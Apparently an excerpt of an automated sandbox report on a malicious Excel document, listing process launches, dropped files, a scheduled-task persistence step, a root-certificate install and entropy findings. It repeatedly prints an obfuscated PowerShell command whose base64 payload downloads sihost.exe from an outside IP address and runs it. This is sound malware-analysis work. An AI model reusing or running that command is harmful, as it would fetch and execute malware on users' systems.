Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"	Jump to behavior

Suspicious command line found

Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE8943022D push eax; iretd	7_2_000007FE89430241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE894300BD pushad ; iretd	7_2_000007FE894300C1
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_00453225 push EBFFFF3Ah; ret	12_2_0045322A
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0051BC50 push esp; retf	12_2_0051BC51
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 12_2_0051BC98 pushfd ; retf	12_2_0051BC99
Source: C:\Users\user\AppData\Roaming\sihost.exe	Code function: 17_2_003621E7 push ebx; iretd	17_2_003621EA
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00213225 push EBFFFF3Ah; ret	19_2_0021322A
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A6BC98 pushfd ; retf 0069h	19_2_00A6BC99
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 19_2_00A6BD88 push eax; retf	19_2_00A6BD89
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 29_2_003721E7 push ebx; iretd	29_2_003721EA

Source: sihost[1].exe.7.dr	Static PE information: section name: .text entropy: 7.984219707116671
Source: sihost.exe.7.dr	Static PE information: section name: .text entropy: 7.984219707116671
Source: bKVNuVuE.exe.12.dr	Static PE information: section name: .text entropy: 7.984219707116671

Source: 12.2.sihost.exe.4335920.4.raw.unpack, a6V721GHmT2eX5khYe.cs	High entropy of concatenated method names: 'S0cJSghWdv', 'x2yJe7dCyt', 'c5PJNtkQLp', 's9YJUvyk7D', 'hHyJBKTqjp', 'QjdJn3nvFv', 'fB3JVWUfTQ', 'GrTJjY4PE3', 'oedJk8HPIx', 'zP8J9Z8ais'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, MffRHZOvefcJRPnUKL.cs	High entropy of concatenated method names: 'dyFi3y8SrG', 'IHsiXsD2hq', 'axiiwtoqB2', 'tFhiZVMfJ2', 'A4ci4bnoqg', 'mKLiFFmx99', 'K6UiYBIK8F', 'RQBimdYSN4', 'AMXB1IGZ7kTjO3RLNmu', 'mvaeT0GjmDgc647k0LT'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, AA4p1aPs3MpvkODx1tA.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OwuASoYeFh', 'zA4AeHhGIh', 'GKMANL37al', 'AQBAUjQZk4', 'Bh2ABqpXSl', 'PawAnIEmWb', 'ac5AVkgjg5'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, VKvMLojef0VPhNfFJH.cs	High entropy of concatenated method names: 'DNsCgBUI54', 'EJMCJLN3fy', 'EUCCutPUvI', 'm0VCWp40Yu', 'OkdCiaFuq6', 'bHNCpT6iKO', 'IQkCT8wVUw', 'rYQCy2Mh9k', 'BwjCcIwfIc', 'ekbCopBTur'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, shSOyyntItUZ6wMqLM.cs	High entropy of concatenated method names: 'lJP2jQRp73', 'u0629gh6Hd', 'kH0CHKjffC', 'X7pCPJwAuy', 'OQ62qofHGI', 'zJy2hE5Oko', 'IHK2rlM8JF', 'j8l2SRZA1o', 'xRd2eMRT9Z', 'YVo2N5sCFH'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, aNj8ZpYPsCsp2bK4DE.cs	High entropy of concatenated method names: 'JNouZfZJp7', 'f4uu4TAkE7', 'z4SuG56qqS', 'BCHuYgcYDf', 'Shuud2eOiJ', 'gROu859C5n', 'GQ7u2Oy0NS', 'OrsuCbwSjR', 'c84uLcqQm5', 'OejuA1S3js'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, DnRpKcuiW55bH5UdBn.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'oP01kWHc6Z', 'PPO19CPUtm', 'IDG1zRsAlr', 'HjYsH65djZ', 'hMGsPSFeuC', 'wgqs18qfb4', 'ChIssv9v06', 'AGc9S1Sb0cIh3s6e3rU'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, OVSZFRmXCOw5I5H5p0.cs	High entropy of concatenated method names: 'VfJWbvNILT', 'uDhWFide7k', 'QB8utiWJp7', 'srLuO7xRW6', 'lrKuRPmi9A', 'R4TulXmNkK', 'RbcuDnGdgZ', 'MWSu6jkiq9', 'L0xuxV9CKW', 'x2Eu0pYgaF'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, UHxRbP9imJpc2xKYpC.cs	High entropy of concatenated method names: 'nvyLPYrpZ1', 'qogLsOcFRK', 'HZ6LIHvXcG', 'CSCLgDpnXF', 'RkWLJ5R4vy', 'VJILWAtRVO', 'ogrLiBfXYW', 'iFFCVCZOHn', 'NMdCj1YNaw', 'EuaCksMljJ'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, NLEZ6Cra89ybkWgZr4.cs	High entropy of concatenated method names: 'lPg5GCwq9l', 'PeW5Y1JK1O', 'eOn5Q3WjKJ', 'JNh5KUm6nS', 'e5t5OyTWaW', 'El95RZ7Mal', 'T3M5DTZpR7', 'Fiu56Z7ZQF', 'AgN50JUqtn', 'kEw5qi7aeE'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, wbGP5JQX6tnQuQxou8.cs	High entropy of concatenated method names: 'Sbyi79bKl0', 'Bl2iJYr2nU', 'r9viWu7ej3', 'a0cipbiUHi', 'DZoiTx5DoY', 'XJpWB4uUvu', 'rkGWnYRrZ2', 'huUWVF1A8G', 'cWiWjSvrhc', 'J08Wk6wB66'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, Vm0MLi1nhAfU8FyUuf.cs	High entropy of concatenated method names: 'pi3wOBBiu', 'RMMZsikTR', 'PEH4XxCUS', 'V9MFpFptB', 'cApYyE1hW', 'oH1m721eR', 'hpmyDmHtLTnk3VGqIV', 'fN7Q7xufrAcviTPuAP', 'A6NCYafZh', 'X4yAj3O2P'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, jZdXSaIiEYyc6S2PNo.cs	High entropy of concatenated method names: 'JGHPp6V721', 'amTPT2eX5k', 'jPsPcCsp2b', 'G4DPoEqVSZ', 'nH5Pdp0EbG', 'a5JP8X6tnQ', 'XqLbvuLpXYDE6jwuWl', 'VZZHAWRur8vRtuUlnD', 'otnPPsY9bW', 'XQIPsP8Fgw'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, r1BPG2knaPPeefGwtR.cs	High entropy of concatenated method names: 'y7KCQkptmu', 'yTSCKnmxaN', 'MZdCtTWj8Z', 'dFVCOfdhvV', 'FFMCSKngFQ', 'kAsCRiQTtI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, v6YiYTTLP0FbJiwAyi.cs	High entropy of concatenated method names: 'XDSs7G18lM', 'XiDsgfjXqN', 'TLBsJIc5WW', 'KLwsuEBUrH', 'xr4sWeUCfF', 'hC0siNtARy', 'AbCspT0V6d', 'fjTsT3BIJ9', 'cjQsy5WW2x', 'hhxscCprwl'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, QrUtZID1OdMhTK05T1.cs	High entropy of concatenated method names: 'oispg5ijde', 'HOWpuvI7FG', 'ngjpiq7fkI', 'vKCi9mlwG8', 'MI8iziJ60H', 'IkapHy1Pc2', 'cb4pPsl9cG', 'QbXp1tsQnN', 'N8fpsaYTXd', 'I0PpI1kSHM'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, TF4m0qPHGZP9v22QXnd.cs	High entropy of concatenated method names: 'bnXLXLZx2E', 'LSoLaP87fh', 'KlbLwDLhPp', 'edmLZVRStI', 'jhWLbDME4o', 'NQGL4eylJt', 'BFyLFey7Bu', 'mvQLGv0mjS', 'ST1LYLIb2s', 'gDbLmr61o2'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, NRqEpCJCGN4TlxXlSX.cs	High entropy of concatenated method names: 'Dispose', 'BwiPkaftCU', 'yQH1KDpdlL', 'F2qdd83HDF', 'tnKP9vMLoe', 'u0VPzPhNfF', 'ProcessDialogKey', 'gHL1H1BPG2', 'VaP1PPeefG', 'ztR11BHxRb'
Source: 12.2.sihost.exe.4335920.4.raw.unpack, BZmwC8xYFPE2rJ61n5.cs	High entropy of concatenated method names: 'wJapXroX9r', 'XclpaJ7WP1', 'euIpwrTdi4', 'kcBpZYVGfv', 'EVZpbA7wlm', 'LuJp47INfM', 'EiqpFLvmi3', 'FtIpGLX9s3', 'j1ypYhUbit', 'JokpmkDWcL'

Persistence and Installation Behavior

AI detected suspicious Excel or Word document

Source: Office document

LLM: Score: 8 Reasons: The screenshot contains a visually prominent image of a Microsoft Office logo with the text 'This document is protected'. This could mislead users into thinking they need to click on a link or button to view the document. The text 'This document is protected' creates a sense of urgency or necessity to take action. Additionally, the use of the Microsoft Office logo impersonates a well-known brand, which can further deceive users into trusting the document. The combination of these elements indicates a high risk of phishing or malware.

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Users\user\AppData\Roaming\sihost.exe	File created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\sihost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\sihost.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
